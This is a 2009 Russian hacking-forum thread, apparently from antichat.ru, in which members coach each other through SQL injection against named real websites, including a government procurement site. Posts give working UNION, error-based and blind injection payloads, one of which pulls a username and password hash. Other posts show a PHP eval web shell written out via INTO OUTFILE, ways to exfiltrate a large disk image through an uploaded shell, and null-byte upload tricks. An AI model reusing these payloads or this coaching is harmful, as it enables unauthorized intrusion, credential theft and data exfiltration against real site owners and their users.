05.11.2009, 20:17
ctacok,
я поробовал и не только такую комбинаци+еще раз прочел мануал от Кэша..ничего не выходит.
Вот ответ базы на твой запрос:
Здесь INSERT, так что читай ещё мануалы.

Scipio
05.11.2009, 20:22
jecka3000 вставь:
@@version,1,1,1,1,1,1)+--+

jecka3000
05.11.2009, 20:36
Scipio, не катит
Microsoft OLE DB Provider for SQL Server error '80040e57'

String or binary data would be truncated.

/scripts/UserStatistic.asp, line 26

Ctacok, расскажи поподробнее, что означает insert и что прочесть?

Scipio
05.11.2009, 20:43
давай ссылку тогда, просто @@version надо подставить в нестроковое поле

Scipio
05.11.2009, 20:53
1',@@version,1,1,1,1)+--+

jecka3000
05.11.2009, 21:16
Scipio,кстати, а чтож тогда делать с information_schema?
1',=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)+--+ ?

Scipio
05.11.2009, 21:31
хехе, не получится использовать подзапросы здесь

jecka3000
05.11.2009, 22:34
Scipio, ну посоветуй что нибудь, я вообще в такой ситуации первый раз, может быть мануал какой нить есть)

hackmen
06.11.2009, 05:07
Всем привет.
Есть сервак со след параметрами

base:articles
ver:5.1.36-community
user:root@localhost
basedir:C:\Program Files\MySQL\MySQL Server 5.1\
datadir:C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\
os:Win32
mysql.password:****
mysql.user:****
tmpdir:C:\WINDOWS\TEMP
file_priv:Y

Собственно интересна возможность заливки шелла.
Если есть статьи какие нибудь про load_file- накидайте ссылок (я ничего толкового не нашел). И еще интересует возможность использования
mysql.password:****
mysql.user:****
Где и как можно узнать хост на котором БД.

Сорри, если что-то не так понял и неправильно написал.


Зы
-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php'; --
Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php.

Я так понимаю это вот этот путь C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\
?

Заранее спасибо. С меня +++ за помощь.

Nightmarе
06.11.2009, 05:16
Где и как можно узнать хост на котором БД.


user:root@localhost
;)

-JC-
06.11.2009, 05:19
Я так понимаю это вот этот путь C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\
?
Вроде он, но если я не ошибаюсь, его надо записать вот так: C:\\Documents and Settings\\All Users\\Application Data\\MySQL\\MySQL Server 5.1\\Data\\

hackmen
06.11.2009, 05:19
;)
Ок
А как туда законектиться?
Скинь плиз где можно почитать, буду оч благодарен.

-JC-
06.11.2009, 05:20
Через шелл )

hackmen
06.11.2009, 05:23
Через шелл я знаю как )
Я думал может как по другому можно

-JC-
06.11.2009, 05:26
http://webew.ru/articles/414.webew
Может поможет.

DrAssault
06.11.2009, 06:09
Вроде он, но если я не ошибаюсь, его надо записать вот так: C:\\Documents and Settings\\All Users\\Application Data\\MySQL\\MySQL Server 5.1\\Data\\
Но шелл зальётся при условии, что у тебя есть права на запись в Data.
О_о ;)

Через шелл я знаю как )
Я думал может как по другому можно

Можно, если разрешён удалённый коннект ;)

hackmen
06.11.2009, 06:15
А можно поконкретнее или где почитать можно?
Спасибо.

DrAssault
06.11.2009, 07:45
А можно поконкретнее или где почитать можно?
Спасибо.
Ну а что подробней то? :) Если разрешён удалённый конект к БД, то можно подконектиться удалённо, заюзать к примеру скрипт от rst, да и навалом софта разного в инэте для этих целей (удалённого администрирования БД) ... но есть одно НО, чаще всего как раз таки удалённый конект отключен из соображений безопастности и так далее ...

Dyxxx
06.11.2009, 08:50
не пойму что вы ему советуете? О_о
ему надо найти папку для записи доступную из веб и залить туда шелл
Вроде он, но если я не ошибаюсь, его надо записать вот так: C:\\Documents and Settings\\All Users\\Application Data\\MySQL\\MySQL Server 5.1\\Data\\
можно так, а можно одинарными простыми слэшами, но эта папка врядле доступна из веб ))))

DrAssault
06.11.2009, 10:15
не пойму что вы ему советуете? О_о
Ну а зачем тогда вмешиваешься, если не понимаешь о чём речь? :confused:

jecka3000
06.11.2009, 11:40
как раскрутить MSSQL без использования подзапросов, типа селект? (т.к. работает хоть какой то вывод только так: 1',@@version,1,1,1,1)+--+ )

Shadrin
06.11.2009, 13:11
такая ситуация нужно слить архив, с винды 500 мегов,шеллом с99,всо2,закачка обрывается,скопировать файл в директорию которая доступна из веба,я не могу,если ли в природе пхп скрпит с докачкой,кто как сливает большие файлы?

krypt3r
06.11.2009, 13:30
заюзать рар с разбивкой на тома попробуйте

Shadrin
06.11.2009, 13:39
у меня только шелл там, стоит IIS 6.0..
смд там не работает..разумеется
помогите плиз как его слить от туда...
файлы расширением tib,это копия диска C.
или распилить его можно имея только шелл,мегов по 100 самый раз

jecka3000
06.11.2009, 15:36
и все же мой вопрос остается в силе))

DrAssault
06.11.2009, 16:17
и все же мой вопрос остается в силе))
Какой же ты упрямый, вот скажи мне, что тебе даст если тебе скажут КАК? Сразу же отвечу, да ничего, не мозгов не прибавится, не знаний, так как принцип ты так и не поймёшь, неужели самому не интересно докапаться до сути?! Если нет, то и раздел засорять не стоит :)

AntiHacker7
06.11.2009, 19:09
Приветствую всех!

Нужна помощь! ;)


Доступна информация
Версии протоколов
Описание

Версии поддерживаемых протоколов :
1.99
2.0

***********************************

Доступна информация
Список форм
Описание

Обнаружены формы (POST запрос), использующиеся для передачи данных на сервер. В переменных HIDDEN может храниться специфическая или чувствительная информация. Переменные PASSWORD служат для ввода пароля.

Список форм:

POST /melody/search.php HTTP/1.1
search=

POST /market/list.php HTTP/1.1
good_t=&t=&rid=&location=&price=&cat_id=¤cy=

POST /symb_cert/ HTTP/1.1
skey=&imei=&result=

POST /themegen/ HTTP/1.1
c_opos=&c_m.s.key=&c_name_menu=&c_clock_num=&c_gird_menu_color=&c_gird_menu_hl_color=&c_list_menu_color=&c_list_menu_hl_color=&c_tooday=&i_wallpaper=

POST /themegen/ajax/upload.php?p=s40.240x320 HTTP/1.1
myfile=

POST /books/ HTTP/1.1
name=&file=&otvet=

POST /feedback.php HTTP/1.1
name=&email=&Go=

POST /catalog/add_comment.php?id=3240 HTTP/1.1
skey=&name=&otvet=&go=&functions=&reliability=&design=&price_quality=&vote=

POST /accessories/result.php HTTP/1.1
search=&cat=&display=&led=&voicedial=&panels=&a2dp=&avrcp=&dsp=&length=

POST /wav/w_search.php HTTP/1.1
search=

POST /opinion/new.php HTTP/1.1
name=&subj=&model=&vote=

****************************************

За что тут можно зацепиться?

Pashkela
06.11.2009, 19:10
ни за что, ты просто выцепил все post-формы (наверное все, все что сканер нашел)

PS: Заманали икспайдерами, честное слово.

AntiHacker7
06.11.2009, 19:14
А про 22 порт SSH-2.0-OpenSSH_4.5p1 FreeBSD-20061110???
Версии поддерживаемых протоколов :
1.99
2.0
Это ничего мне не даст?

AntiHacker7
06.11.2009, 19:16
Прошу прощения, уже сам нашел ответ

Качай putty http://www.tartarus.org/~simon/putty-snapshots/x86/putty.exe
И пробуй присоединиться к серваку используюя тот логин и пароль =)

А версия ssh тебе ничего не даст у меня там вообще Solaris v 0.1 beta написано =)

P.s
Думаю тебе это ничего не даст так как хостеры чаще всего не предоставляют ssh доступ =)
+ у какого идиота пароли от веба к паролям от sshd подходят o_0 ???

AntiHacker7
06.11.2009, 19:18
PS: Заманали икспайдерами, честное слово.

Pashkela, я только учусь, не суди строго)

Pashkela
06.11.2009, 19:19
AntiHacker7:

https://forum.antichat.ru/thread153877.html

AntiHacker7
06.11.2009, 19:21
AntiHacker7:

https://forum.antichat.ru/thread153877.html

Конечно спасибо, но это уже читал, сейчвс изучаю данную тему:

https://forum.antichat.ru/thread104591.html

jecka3000
06.11.2009, 20:18
DrAssault, так я ж не прошу решить мою проблему за меня. Я и пытаюсь вникнуть и хочу чтобы кто либо дал мануал л том как раскрутить MSSQL-inj без подзапросов!

DrAssault
06.11.2009, 21:02
DrAssault, так я ж не прошу решить мою проблему за меня. Я и пытаюсь вникнуть и хочу чтобы кто либо дал мануал л том как раскрутить MSSQL-inj без подзапросов!
Какой мануал? Может кто-нибудь написал мануал по твоему случаю?! Дать тебе ссылку? А сам ты не в состоянии заюзать поиск по форуму? (поговаривают очень полезная вещь) Не поймёшь ты ничего таким образом, читай спецификации, а понимание придёт со временем, но это уже будет другое понимание, более глубокое и осмысленное...

dolmatian
06.11.2009, 21:11
DrAssault, так я ж не прошу решить мою проблему за меня. Я и пытаюсь вникнуть и хочу чтобы кто либо дал мануал л том как раскрутить MSSQL-inj без подзапросов!
Всетаки рекомендую начать с азов.
Узнать какие SQL команды существуют (Select, Insert, Update), их синтаксис. В твоем случае это INSERT (http://msdn.microsoft.com/ru-ru/library/ms174335(SQL.90).aspx) . Попробуй понять можно ли увидеть результаты того что ты вводишь. Если да, то определи список объектов (http://msdn.microsoft.com/ru-ru/library/ms190324(SQL.90).aspx) в базе. Поняв как функционирует база ты сможешь провести атаку например используя несколько команд в одном запросе.

B1t.exe
07.11.2009, 17:50
Вот хотел узнать... есть один сайт. не знаю почему, но мне кажется, что он не серьезно защищен, хотя вид деятельности серьезный.
читал статьи по SQL inj, и по XSS, и пробовал там все это принять..
Не знаю это хорошо или плохо, но вот не понял на самом деле уязвимости есть или нет.
на страинце обратный адрес была форма письмы, я там ставил на все поля Java код (из статьи по XSS) и он отправился! (написал, типа спасибо за заявку).
А насчет SQL, ввел простые запросы, типа: site.com/index.php?id=1 и все они показывали главную страницу..
Еще что заметил, это просто так написал в конце адреса admin, и открылся сайт хостера(hoster.ru) а в середине написан "страница не найден".
Какие выводы можно делать? Сильно не пинать, т.к. в этом деле очень и очень плохо разбираюсь пока. т.е. учусь :))

wolmer
07.11.2009, 17:53
Вот хотел узнать... есть один сайт. не знаю почему, но мне кажется, что он не серьезно защищен, хотя вид деятельности серьезный.
читал статьи по SQL inj, и по XSS, и пробовал там все это принять..
Не знаю это хорошо или плохо, но вот не понял на самом деле уязвимости есть или нет.
на страинце обратный адрес была форма письмы, я там ставил на все поля Java код (из статьи по XSS) и он отправился! (написал, типа спасибо за заявку).
А насчет SQL, ввел простые запросы, типа: site.com/index.php?id=1 и все они показывали главную страницу..
Еще что заметил, это просто так написал в конце адреса admin, и открылся сайт хостера(hoster.ru) а в середине написан "страница не найден".
Какие выводы можно делать? Сильно не пинать, т.к. в этом деле очень и очень плохо разбираюсь пока. т.е. учусь :))
Сайт в студию

FlaktW
07.11.2009, 19:56
Group by дает 6 полей,но подобрать не удается.Кто нибудь может обьяснить в чем причина.

Заранее всем спасибо.

http://www.realtor.am/newbuilding.php?id=10'+group+by+6%23&lang=en


http://www.realtor.am/newbuilding.php?id=10'+union+select+1,2,3,4,5,6%23&lang=en

The used SELECT statements have a different number of columns

mr.celt
07.11.2009, 20:22
Еще что заметил, это просто так написал в конце адреса admin, и открылся сайт хостера(hoster.ru) а в середине написан "страница не найден".

Здесь, все понятно, по не найденным страницам идет редирект на дефолтную (в данном случае на прова), так что диры с именем admin не существует.


на страинце обратный адрес была форма письмы, я там ставил на все поля Java код (из статьи по XSS) и он отправился!

наверное javascript) и вообще зря отправлял, контролировать вывод ты не можешь, так как заявки просматривает токо админ и соответственно как фильтруется твой код понимания нет, отсюда и бесполезность атаки

ElteRUS
07.11.2009, 21:49
FlaktW, выводи данные в ошибку, либо поищи скулю в другом параметре

http://www.realtor.am/newbuilding.php?id=10'+union+select+*+from+(select +*+from+(select+name_const((select+concat_ws(0x2F, username,password)+from+users+limit+0,1),14)d)+as+ t+join+(select+name_const((select+concat_ws(0x2F,u sername,password)+from+users+limit+0,1),14)e)b)a--+

Duplicate column name 'anna/fe4127b4a905160580cca06279f92be7'

HAXTA4OK
07.11.2009, 22:05
Group by дает 6 полей,но подобрать не удается.Кто нибудь может обьяснить в чем причина.

Заранее всем спасибо.

http://www.realtor.am/newbuilding.php?id=10'+group+by+6%23&lang=en


http://www.realtor.am/newbuilding.php?id=10'+union+select+1,2,3,4,5,6%23&lang=en

The used SELECT statements have a different number of columns

Проще говоря у тебя Blind sql-inj (слепая скуля)
то есть sql-inj есть но без вывода

https://forum.antichat.ru/thread104591.html
Почитай эту тему для работы с ней

B1t.exe
07.11.2009, 22:13
wolmer

Нет, сюда не хочу )) моу в личку кинуть. Но мой цель не взломать его, а тренироватся, хочу сам понимать как все это работает.
Можете помочь?

mr.celt

И что советуешь делать? какие трюки можно выполнить?

mr.celt
08.11.2009, 00:08
И что советуешь делать? какие трюки можно выполнить?

Если хочешь провернуть XSS, то необходимо найти параметры, вывод которых ты можешь видеть, например, то что вводишь в поиске..

Что касатся проверки путей и поиска админки, есть примерно 50 стандартных путей (файлик могу скинуть), вот их и проверяй, если конечно нет какого-либо префикса перед названием.

HAXTA4OK
Как это слепая? А вывод сообщения "The used SELECT statements have a different number of columns".

warlok
08.11.2009, 00:42
Как это слепая? А вывод сообщения "The used SELECT statements have a different number of columns".
а ты видиш принтабильное поле через которое можно вывести данные? мм кстате недавно в хакере писали про вывод данных через ошибки но если неошибась это прокатит только в 5 ветке

B1t.exe
08.11.2009, 01:44
mr.celt

а вот как насчет того, что все попытки SQL инекции - открывает стартовая страница?
Насчет XSS - негде проверять, т.к. поиск по сайту нету. единственно где нашел ввести данные - это где пишется письмо (оратный адрес)

[Forest]
08.11.2009, 01:48
mr.celt

а вот как насчет того, что все попытки SQL инекции - открывает стартовая страница?
Насчет XSS - негде проверять, т.к. поиск по сайту нету. единственно где нашел ввести данные - это где пишется письмо (оратный адрес)

пробуй:

id=-1/**/unION/**/selECT/**/1,2,3--+

И вообще, читай больше инфи

---

ксс может быть не только в поиске..

B1t.exe
08.11.2009, 02:11
пробуй:

id=-1/**/unION/**/selECT/**/1,2,3--+
если пробовать вот так:
http://www.site.ru/?id=-1/**/unION/**/selECT/**/1,2,3--+
то открывает гравная страница (ничем не отличается от www.site.ru)
А если просто вот так:
http://www.site.ru/id=-1/**/unION/**/selECT/**/1,2,3--+
то кидает в сайт хостера, с надпесем:
Ошибка доступа 404 к указанной странице

Может тут какой то "супер" технология работает? или какой-то неприступный СУБД ?

[Forest]
08.11.2009, 02:14
если пробовать вот так:
http://www.site.ru/?id=-1/**/unION/**/selECT/**/1,2,3--+
то открывает гравная страница (ничем не отличается от www.site.ru)
А если просто вот так:
http://www.welcome-bank.ru/id=-1/**/unION/**/selECT/**/1,2,3--+
то кидает в сайт хостера, с надпесем:


Может тут какой то "супер" технология работает? или какой-то неприступный СУБД ?

блин, я даже не знаю как тебе объяснить :o

1) очень быстро перешел на такий сайты
2) читай мануалы!

Тебе в этой (https://forum.antichat.ru/thread153877.html) теме уже рассказали что читать и делать!

DeluxeS
08.11.2009, 04:14
Делая запрос:
union+select+1,2,3,4,5,6,7,8,9,group_concat(table_ name),11+from+information_schema.tables
Выдаёт

0

что не так? :(

LokbatanLi
08.11.2009, 08:19
vot posmotrite http://www.vashstile.ru/admin zdes kak to .htacces..

esli napisu login i parol pravilno moqu zayti v admin panel??

Ctacok
08.11.2009, 08:45
Делая запрос:

Выдаёт

что не так? :(
union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3C42523 E,table_name),11+from+information_schema.tables+li mit+1,1
Не?

Gorev
08.11.2009, 08:56
DeluxeS

ну скажем так штатный экстрасенс работает сейчас в разделе инклюдов... можно линк в студию?

и зачем тебе использовать здесь concat?
union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3C42523 E,table_name),11+from+information_schema.tables+li mit+1,1

или же делaй запрос без concat-a ... или же попробуй так
union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,tabl e_name,table_schema),11+from+information_schema.ta bles+li mit+1,1

LokbatanLi
08.11.2009, 09:02
a moy vopros??

Gorev
08.11.2009, 09:03
LokbatanLi http://translit.ru/

LokbatanLi
08.11.2009, 09:08
ne nado pomoymu..

vot est takoy sayt http://www.vashstile.ru/admin
v admin panle est .htacces a kak zayti v panel esli login i parol pravilno napisu moqu zayti panel??

Gorev
08.11.2009, 09:13
LokbatanLi во первых я ни фига не понял твой вопрос, во вторых писать надо не транслитом а кирилицой, в третьих если есть пароль и логин то пробуй зайти милок , кто тебе мешает? там вообщето бейсик авторизация... и в четвертых...ты уже затрахал мой мозг (думаю не только мой)

LokbatanLi
08.11.2009, 09:15
i ya toje pravilno napisu login i pass nu ne moqu zayti..takoy error Authorization Required//

-JC-
08.11.2009, 09:36
Может авторизация возможна только с определённого ip

DrAssault
08.11.2009, 11:39
Проще говоря у тебя Blind sql-inj (слепая скуля)
то есть sql-inj есть но без вывода
Есть там вывод...

а ты видиш принтабильное поле через которое можно вывести данные? мм кстате недавно в хакере писали про вывод данных через ошибки но если неошибась это прокатит только в 5 ветке
Можно и через ошибку...

InFlame
08.11.2009, 15:12
Имеется следующая инъекция в UPDATE-запросе:
update session set value='last_url|s:5:"/[SQL-inj]";', update_date=now() where session_name='3nr3r857efj64a1kcbk7vpepn0'
Что полезного можно сделать в данном случае и как?

LokbatanLi
08.11.2009, 16:15
a kto mojet raskazat ob file_priv out_into_file magic_quote est dlya etix satey..zaranie spasibo//

[Forest]
08.11.2009, 16:21
a kto mojet raskazat ob file_priv out_into_file magic_quote est dlya etix satey..zaranie spasibo//

Тебе еще не надоело?! юзай поиск по форуму! всё описанно до мельчайших подробностей!

LokbatanLi
08.11.2009, 16:22
ne nasel dayte link toqda pojalusta//

Shadrin
08.11.2009, 16:23
Народ видел кто небудь переборщик путей через load_file ?(через скулю)
дефолтные не подходят

Ins3t
08.11.2009, 16:35
a kto mojet raskazat ob file_priv out_into_file magic_quote est dlya etix satey..zaranie spasibo//

здесь читать нужно.

file_priv бывает Y и N
Y - есть права у юзера бд на чтение/запись
N - нету прав на чтение/запись

out_into_file
гыгы, мб into outfile ?
Используеться для загрузки файла на сервер через базу данных
Синтаксис:
[select_options] select_list [INTO_OUTFILE file_name export_option

По простонародному:
union select 1,2,3...[n] into outfile 'full_patch/file.php'/*

magic_quote
В двух словах не раскажешь, читай мануал по пхп

Народ видел что переборчик путей через load_file ?(через скулю) девольтные не подходят

Путей к чему?

L I G A
08.11.2009, 16:37
Имеется следующая инъекция в UPDATE-запросе:
update session set value='last_url|s:5:"/[SQL-inj]";', update_date=now() where session_name='3nr3r857efj64a1kcbk7vpepn0'
Что полезного можно сделать в данном случае и как?
я так понял с твоего запроса,sql injection в параметре ГЕТ session?
если "да",то что мешает ее раскручивать?
param=-false'+order+by+[...]/*

Shadrin
08.11.2009, 16:40
Ins3t
полный путь до сайта, от корня,абсолютный вроде.

LokbatanLi
08.11.2009, 16:42
Ins3t spasibo po4ti ponel//

Ins3t
08.11.2009, 16:43
Ins3t
полный путь до сайта, от корня,абсолютный вроде.

Если на серваке линух, то поищи httpd.conf, там будет прописан полный путь.


FreeBSD
apache 1.3
/usr/local/etc/apache/httpd.conf

apache 2.2
/usr/local/etc/apache22/httpd.conf

Linux
CentOS, Fedora (Redhat-системы)
/etc/httpd/conf/httpd.conf

Debian, Ubuntu
apache 1.3
/etc/apache/httpd.conf

apache 2.2
/etc/apache2/apache2.conf

Gentoo
apache 2.0
/etc/apache2/httpd.conf

Shadrin
08.11.2009, 16:48
Ins3t
спасибо, но я это уже глядел вот тут http://wiki.apache.org/httpd/DistrosDefaultLayout#Fedora_Core.2C_CentOS.2C_RHEL :
нужен перебор, руками не тянет.
на сервере стоит CentOS

InFlame
08.11.2009, 17:02
Имеется следующая инъекция в UPDATE-запросе:
update session set value='last_url|s:5:"/[SQL-inj]";', update_date=now() where session_name='3nr3r857efj64a1kcbk7vpepn0'
Что полезного можно сделать в данном случае и как?

Забыл сказать, что вывод только через ошибку или, если это возможно, вслепую.

jecka3000
08.11.2009, 17:37
какой софтиной можно слить все таблицы, а не использовать лимит (СИПТ не предлагать!) П.С.Работаю в 5 версии

DrAssault
08.11.2009, 17:52
какой софтиной можно слить все таблицы, а не использовать лимит (СИПТ не предлагать!) П.С.Работаю в 5 версии
гмм, чем group_concat не устраивает? :) Файл прив есть? Кавычки режутся? А так софтин уйма, да и самому можно написать парсер ;)

Ins3t
08.11.2009, 17:55
гмм, чем group_concat не устраивает?

Хотябы тем, что он имеет ограничение на размер выводимых данных.

DrAssault
08.11.2009, 18:06
Хотябы тем, что он имеет ограничение на размер выводимых данных.
Опять же в зависимости от ситуации и настроек администратора... именно поэтому были ещё вопросы ;)

jecka3000
08.11.2009, 19:41
не могу дальше ничего сделать
http://www.goszakaz.inconnect.ru/?id=10001&n=-3402+union+select+1,COLUMN_NAME,3,4,5,6+FROM+INFOR MATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=user_privil eges--
пробовал перебовать и нех и просто с кавычками и с %27 - результата нет!

расскажите, что дальше?

ElteRUS
08.11.2009, 19:45
WHERE+TABLE_NAME=0x757365725f70726976696c65676573

Все работает


InFlame, заюзай мор1ров например

var=blabla'+or+if(substring((select+version()),1,1 )=5,1,(select+1+union+select+2))--+

Gorev
08.11.2009, 19:45
2 jecka3000
http://www.goszakaz.inconnect.ru/?id=10001&n=-3402+union+select+1,COLUMN_NAME,3,4,5,6+FROM+INFOR MATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x757365725 f70726976696c2065676573--

Bb0y
08.11.2009, 19:47
USER_PRIVILEGES - таблица базы Information_schema. Никакой полезной инфы для тебя (пассы, логины и т.Д.) она не даст

Bb0y
08.11.2009, 19:53
Понимаю. Я написал с мыслью о том что он будет ее юзать, узнав поля

Ins3t
08.11.2009, 19:54
2[x60]unu
Не обязательно хекс, можно и в чар например.
И в даном случае кавычки не прокатят скорее всего из за magic_quotes = on.

jecka3000
08.11.2009, 19:54
Bb0y,это я уже понял, но просто ничего более подходящего там вообще нет!)
Я нашел абсолютно все table_name (софтиной) и ничего подозрительного, типа таблицы user там нет)

Ins3t
08.11.2009, 19:57
2jecka3000
Данные которые ты ищешь не обязательно должны храниться в базе данных.
По поводу таблиц: 17 первых - это стандартные в них можно даже не смотреть(если нету необходимости), и когда перебираешь таблицы лимитом можно начинать не с 1,1 а с 17,1

jecka3000
08.11.2009, 19:59
Ins3t, согласен, и я нашел еще одну БД - goszakaz. И там есть уже хоть что то интересное, типа имена сотрудников,телефоны, сайты,мыла, но ничего подходящего для самого сайта..

L I G A
08.11.2009, 20:02
2jecka3000
Данные которые ты ищешь не обязательно должны храниться в базе данных.

а где же еще храниться инфе о юзерах,в текствых файлах?
я говорю о данных простых пользователей
+ данный сайт использует БД
то зачем извращаться данными в файлах?

Ins3t
08.11.2009, 20:05
а где же еще храниться инфе о юзерах,в текствых фалах?
Почему бы нет?
некоторые CMS так и работают.
Данные администратора мопросту могут храниться в конфиге, как например в Mini-CMS

Bb0y
08.11.2009, 20:07
Попробуй использовать load_file если привилегии позволят

wolmer
08.11.2009, 20:08
Почему при загрузке в windows, частичка имени файла преобразуется в %2500 (а было %00) ? (ручным аплоадом делал (т.е. вручную снифал и отправлял пакеты на загрузку))
Есть ли замена нулл байту при аплоаде? (если есть то пример в студию)

jecka3000
08.11.2009, 20:17
Не...все обыскал, результатов нет...

Jokester
08.11.2009, 20:23
Не...все обыскал, результатов нет...
Знаешь что дружище. Тебе всё показали, дальше сам. Просить ломать госсайты тут не надо. С такими вопросами на свой хек проэкт иди.

PS Ты ведь без носков туда лазил, да?
можно не отвечать :)

Daned
08.11.2009, 20:27
Почему при загрузке в windows, частичка имени файла преобразуется в %2500 (а было %00) ? (ручным аплоадом делал (т.е. вручную снифал и отправлял пакеты на загрузку))
Есть ли замена нулл байту при аплоаде? (если есть то пример в студию)
Думаю трабл в тулзе которой ты отсылаешь пакет, он преобразует % в url кодировку, поэтому получается %25.
Замена нулл байту есть, https://forum.antichat.ru/threadnav98525-6-10.html , только прокатывает не всегда.

wolmer
08.11.2009, 20:31
Думаю трабл в тулзе которой ты отсылаешь пакет
Не думаю (посылал HTTPREQ)
https://forum.antichat.ru/threadnav98525-6-10.html
Насколько я догадываюсь там отрубка идет по GET'у но не через POST (пробывал через пост - не получается)

Daned
08.11.2009, 20:39
Не думаю (посылал HTTPREQ)
Значит какой-то неприятный трабл на хосте)

Насколько я догадываюсь там отрубка идет по GET'у но не через POST (пробывал через пост - не получается)
Главное передать параметр, способ значения не имеет :) Видать в твоём случае не катит =\

DrAssault
08.11.2009, 21:24
PS Ты ведь без носков туда лазил, да?
можно не отвечать :)
В шерстяных :)

Главное передать параметр, способ значения не имеет :)
Значение имеет ;)

Spyder
08.11.2009, 21:36
wolmer, просто имя файла проходит через urlencode()

wolmer
08.11.2009, 21:45
wolmer, просто имя файла проходит через urlencode()
Как бы нету urlencode в коде
Или я что-то не понимаю?

GenTao
08.11.2009, 22:16
Где взять гайд по InterBase,а также программы типа SIPT-а для автоматизации ?

Gorev
08.11.2009, 22:17
GenTao
http://forum.antichat.ru/thread104591.html
http://forum.antichat.ru/search.php?searchid=5649282

L I G A
08.11.2009, 22:20
Почему при загрузке в windows, частичка имени файла преобразуется в %2500 (а было %00) ? (ручным аплоадом делал (т.е. вручную снифал и отправлял пакеты на загрузку))
Есть ли замена нулл байту при аплоаде? (если есть то пример в студию)
copy() и move_uploaded_file() - null-байт работает

wolmer
08.11.2009, 22:25
copy() и move_uploaded_file() - null-байт работает
у меня - нет (тоже самое слышал и от разора)

GenTao
08.11.2009, 22:26
GenTao
http://forum.antichat.ru/thread104591.html
http://forum.antichat.ru/search.php?searchid=5649282

http://forum.antichat.ru/thread104591.html - Где ты там увидел InterBase статейку?
http://forum.antichat.ru/search.php?searchid=5649282 - Вообще не понял,при чём тут сипт...Яон не работает с интербейз походу...нужна программа НАПОДОБИИ сипта.

ЗЫ: За помощь пасип )

Gorev
08.11.2009, 22:33
GenTao статейки нет ты прав..извини... но ее вообще нет на ачате, так что извини, а второй линк на поиск сипта на форуме...

B1t.exe
08.11.2009, 23:44
у меня один ламерский вопрос:
где можно читать что значат спецсимволы в ссылках(запросах) ?
ну вот например вопросительный знак (?) - что это значит и зачем ставится в ссылках?
узал поиск, но кроме query string ничего не нашел..
например:
http://yandex.ru/yandsearch?text=query+string&lr

wolmer
08.11.2009, 23:51
http://yandex.ru/yandsearch?text=query+string&lr
Этот знак ставится в GET запросе чтобы передать что либо к примеру PHP скрипту
К примеру

<?php
if (isset($_GET['kto_ya'])){
echo "Привет ".$_GET['kto_ya']."!!!";
}
?>

(писал тут сразу)

И при заходе на site.ru/nash_script.php?kto_ya=vasyan

Будет выведенно

Привет vasyan!!!

DrAssault
09.11.2009, 00:05
у меня один ламерский вопрос:
где можно читать что значат спецсимволы в ссылках(запросах) ?
ну вот например вопросительный знак (?) - что это значит и зачем ставится в ссылках?
узал поиск, но кроме query string ничего не нашел..
например:
http://yandex.ru/yandsearch?text=query+string&lr
После вопроса параметры передаваемые скрипту :o

Ins3t
09.11.2009, 00:24
у меня один ламерский вопрос:
где можно читать что значат спецсимволы в ссылках(запросах) ?
ну вот например вопросительный знак (?) - что это значит и зачем ставится в ссылках?
узал поиск, но кроме query string ничего не нашел..
например:
http://yandex.ru/yandsearch?text=query+string&lr

Почитай о GET запросах.

B1t.exe
09.11.2009, 01:04
ок. понял, спасибо народ.
? - он может передавать только php скрипты? хотя видел на сайтах ***.asp? .. и можно понять что передает все параметры, где используется GET метод передачи.
а в режиме POST не используется ?

Кстати, как можно узнать на сайте какиекомпоненты используется?
есть один сайт (не простой), но никак немогу узнать что там крутиться. все ссылки типа:
www.site.ru/?q=node/(*) , где * - это цифры от 1 до 12 (по страницам.)
например адрес раздела техподдержки вот такой: http://www.site.ru/?q=node/6

Ins3t
09.11.2009, 02:28
Кстати, как можно узнать на сайте какиекомпоненты используется?
есть один сайт (не простой), но никак немогу узнать что там крутиться. все ссылки типа:
www.site.ru/?q=node/(*) , где * - это цифры от 1 до 12 (по страницам.)
например адрес раздела техподдержки вот такой: http://www.site.ru/?q=node/6

GET, при пост запросах урл не меняется.
node - дириктория.
И стоуктура очень похожа на друпаловскую (движкa drupal)

wolmer
09.11.2009, 16:21
ок. понял, спасибо народ.
? - он может передавать только php скрипты?
И не токо PHP скриптам (к примеру страницам aspx)

Кстати, как можно узнать на сайте какиекомпоненты используется?
есть один сайт (не простой), но никак немогу узнать что там крутиться. все ссылки типа:
www.site.ru/?q=node/(*) , где * - это цифры от 1 до 12 (по страницам.)
например адрес раздела техподдержки вот такой: http://www.site.ru/?q=node/6
Что значит компоненты? Ну если в двиге исп. "компоненты" то смотря какой двиг

http://www.site.ru/?q=node/6
Может быть такой код... (но наврятли :) )

<?php
if (isset($_GET['q'])){
include("http://www.site.ru/?q=".$_GET['q'].".php");
}
?>

gromoza
09.11.2009, 16:41
Всем привет.
Xttp://www.wmkopilka.ru/coinbox.php?5240'
Кто что скажет? Два дня пытался крутить результата ноль

ElteRUS
09.11.2009, 17:17
Есть =)

http://wmkopilka.ru/coinbox.php?5240'/**/and/**/substring((select/**/version()),1,1)=5/**/and/**/'1'='1

Pashkela
09.11.2009, 17:31
2 ElteRUS:

молоток, только можно и без select:

http://wmkopilka.ru/coinbox.php?5240'/**/and/**/substring(version(),1,1)=5/**/and/**/'1'='1

mailbrush
09.11.2009, 17:43
2 ElteRUS:

молоток, только можно и без select:
А можно вообще без substring, т.к. мускуль конвертирует типы данных.
http://wmkopilka.ru/coinbox.php?5240'/**/and/**/version()=5/**/and/**/'1'='1

oRb
09.11.2009, 17:49
А можно и вывод сделать:http://wmkopilka.ru/coinbox.php?5240'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
Duplicate column name '5.0.67'
https://forum.antichat.ru/showpost.php?p=1494443&postcount=11
Для кого человек старался? Почему не используете? ;)

B1t.exe
09.11.2009, 19:18
<?php
if (isset($_GET['q'])){
